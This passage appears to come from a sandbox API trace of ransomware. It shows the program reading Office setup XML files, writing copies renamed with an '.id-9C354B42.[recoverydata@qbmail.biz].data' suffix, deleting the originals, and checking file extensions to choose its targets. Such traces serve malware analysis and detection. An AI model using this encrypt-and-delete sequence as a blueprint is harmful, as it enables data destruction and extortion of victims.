lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0090.710] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0090.710] WriteFile (in: hFile=0x20c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0090.710] SetEndOfFile (hFile=0x20c) returned 1 [0090.711] CloseHandle (hObject=0x20c) returned 1 [0090.712] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.712] SetEndOfFile (hFile=0x204) returned 1 [0090.713] CloseHandle (hObject=0x204) returned 1 [0090.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0090.714] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0090.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0090.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0090.714] lstrlenW (lpString=".doc") returned 4 [0090.714] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0090.714] lstrlenW (lpString=".docx") returned 5 [0090.714] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0090.714] lstrlenW (lpString=".pdf") returned 4 [0090.714] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0090.714] lstrlenW (lpString=".xls") returned 4 [0090.714] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0090.714] lstrlenW (lpString=".xlsx") returned 5 [0090.714] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0090.714] lstrlenW (lpString=".ppt") returned 4 [0090.714] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0090.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0090.715] lstrlenW (lpString=".zip") returned 4 [0090.715] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0090.715] lstrlenW (lpString=".rar") returned 4 [0090.715] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0090.715] lstrlenW (lpString=".bz2") returned 4 [0090.715] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0090.715] lstrlenW (lpString=".7z") returned 3 [0090.715] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0090.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0090.715] lstrlenW (lpString=".dbf") returned 4 [0090.715] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0090.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0090.715] lstrlenW (lpString=".1cd") returned 4 [0090.715] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0090.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0090.715] lstrlenW (lpString=".jpg") returned 4 [0090.715] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0090.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0090.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0090.716] lstrlenW (lpString=".doc") returned 4 [0090.716] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0090.716] lstrlenW (lpString=".docx") returned 5 [0090.716] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0090.716] lstrlenW (lpString=".pdf") returned 4 [0090.716] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0090.716] lstrlenW (lpString=".xls") returned 4 [0090.716] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0090.716] lstrlenW (lpString=".xlsx") returned 5 [0090.716] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0090.716] lstrlenW (lpString=".ppt") returned 4 [0090.716] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0090.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0090.716] lstrlenW (lpString=".zip") returned 4 [0090.716] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0090.716] lstrlenW (lpString=".rar") returned 4 [0090.716] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0090.716] lstrlenW (lpString=".bz2") returned 4 [0090.716] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0090.716] lstrlenW (lpString=".7z") returned 3 [0090.716] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0090.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0090.716] lstrlenW (lpString=".dbf") returned 4 [0090.716] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0090.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0090.716] lstrlenW (lpString=".1cd") returned 4 [0090.716] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0090.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0090.717] lstrlenW (lpString=".jpg") returned 4 [0090.717] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0090.717] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0090.717] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0090.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0091.454] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=819) returned 1 [0091.455] CloseHandle (hObject=0x18c) returned 1 [0091.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0091.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0091.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0091.455] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.455] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0092.168] GetLastError () returned 0x0 [0092.169] ReadFile (in: hFile=0x18c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x333, lpOverlapped=0x0) returned 1 [0092.250] WriteFile (in: hFile=0x1e0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x340, lpOverlapped=0x0) returned 1 [0092.252] ReadFile (in: hFile=0x18c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0092.252] WriteFile (in: hFile=0x1e0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0092.252] SetEndOfFile (hFile=0x1e0) returned 1 [0092.253] CloseHandle (hObject=0x1e0) returned 1 [0092.254] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0092.254] SetEndOfFile (hFile=0x18c) returned 1 [0092.255] CloseHandle (hObject=0x18c) returned 1 [0092.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0092.256] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0092.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0092.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0092.256] lstrlenW (lpString=".doc") returned 4 [0092.256] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0092.256] lstrlenW (lpString=".docx") returned 5 [0092.256] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0092.256] lstrlenW (lpString=".pdf") returned 4 [0092.257] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0092.257] lstrlenW (lpString=".xls") returned 4 [0092.257] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0092.257] lstrlenW (lpString=".xlsx") returned 5 [0092.257] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0092.257] lstrlenW (lpString=".ppt") returned 4 [0092.257] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0092.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0092.257] lstrlenW (lpString=".zip") returned 4 [0092.257] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0092.257] lstrlenW (lpString=".rar") returned 4 [0092.257] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0092.257] lstrlenW (lpString=".bz2") returned 4 [0092.257] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0092.258] lstrlenW (lpString=".7z") returned 3 [0092.258] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0092.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0092.258] lstrlenW (lpString=".dbf") returned 4 [0092.258] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0092.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0092.258] lstrlenW (lpString=".1cd") returned 4 [0092.258] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0092.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0092.258] lstrlenW (lpString=".jpg") returned 4 [0092.258] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0092.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0092.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0092.258] lstrlenW (lpString=".doc") returned 4 [0092.258] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0092.258] lstrlenW (lpString=".docx") returned 5 [0092.258] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0092.258] lstrlenW (lpString=".pdf") returned 4 [0092.258] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0092.258] lstrlenW (lpString=".xls") returned 4 [0092.259] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0092.259] lstrlenW (lpString=".xlsx") returned 5 [0092.259] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0092.259] lstrlenW (lpString=".ppt") returned 4 [0092.259] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0092.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0092.259] lstrlenW (lpString=".zip") returned 4 [0092.259] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0092.259] lstrlenW (lpString=".rar") returned 4 [0092.259] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0092.259] lstrlenW (lpString=".bz2") returned 4 [0092.259] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0092.259] lstrlenW (lpString=".7z") returned 3 [0092.259] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0092.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0092.259] lstrlenW (lpString=".dbf") returned 4 [0092.259] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0092.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0092.259] lstrlenW (lpString=".1cd") returned 4 [0092.259] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0092.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0092.259] lstrlenW (lpString=".jpg") returned 4 [0092.260] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0092.260] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0092.260] lstrlenW (lpString="SETUP.XML") returned 9 [0092.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0092.704] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1988) returned 1 [0092.704] CloseHandle (hObject=0x1fc) returned 1 [0092.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0092.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0092.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0092.704] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0092.704] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0092.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0092.705] GetLastError () returned 0x0 [0092.705] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x7c4, lpOverlapped=0x0) returned 1 [0094.596] WriteFile (in: hFile=0x194, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0095.344] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.344] WriteFile (in: hFile=0x194, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0095.344] SetEndOfFile (hFile=0x194) returned 1 [0095.344] CloseHandle (hObject=0x194) returned 1 [0095.344] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.344] SetEndOfFile (hFile=0x1fc) returned 1 [0095.345] CloseHandle (hObject=0x1fc) returned 1 [0095.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0095.346] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0095.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0095.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0095.346] lstrlenW (lpString=".doc") returned 4 [0095.346] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.346] lstrlenW (lpString=".docx") returned 5 [0095.346] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0095.347] lstrlenW (lpString=".pdf") returned 4 [0095.347] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.347] lstrlenW (lpString=".xls") returned 4 [0095.347] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.347] lstrlenW (lpString=".xlsx") returned 5 [0095.347] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0095.347] lstrlenW (lpString=".ppt") returned 4 [0095.347] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0095.347] lstrlenW (lpString=".zip") returned 4 [0095.347] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.347] lstrlenW (lpString=".rar") returned 4 [0095.347] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.347] lstrlenW (lpString=".bz2") returned 4 [0095.347] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.347] lstrlenW (lpString=".7z") returned 3 [0095.347] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0095.347] lstrlenW (lpString=".dbf") returned 4 [0095.347] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0095.347] lstrlenW (lpString=".1cd") returned 4 [0095.347] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0095.348] lstrlenW (lpString=".jpg") returned 4 [0095.348] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0095.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0095.348] lstrlenW (lpString=".doc") returned 4 [0095.348] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.348] lstrlenW (lpString=".docx") returned 5 [0095.348] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0095.348] lstrlenW (lpString=".pdf") returned 4 [0095.348] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.348] lstrlenW (lpString=".xls") returned 4 [0095.348] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.348] lstrlenW (lpString=".xlsx") returned 5 [0095.348] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0095.348] lstrlenW (lpString=".ppt") returned 4 [0095.348] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0095.348] lstrlenW (lpString=".zip") returned 4 [0095.348] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.348] lstrlenW (lpString=".rar") returned 4 [0095.348] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.349] lstrlenW (lpString=".bz2") returned 4 [0095.349] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.349] lstrlenW (lpString=".7z") returned 3 [0095.349] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0095.349] lstrlenW (lpString=".dbf") returned 4 [0095.349] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0095.349] lstrlenW (lpString=".1cd") returned 4 [0095.349] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0095.349] lstrlenW (lpString=".jpg") returned 4 [0095.349] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.349] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0095.349] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0095.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0095.350] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1452) returned 1 [0095.350] CloseHandle (hObject=0x1fc) returned 1 [0095.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0095.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0095.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 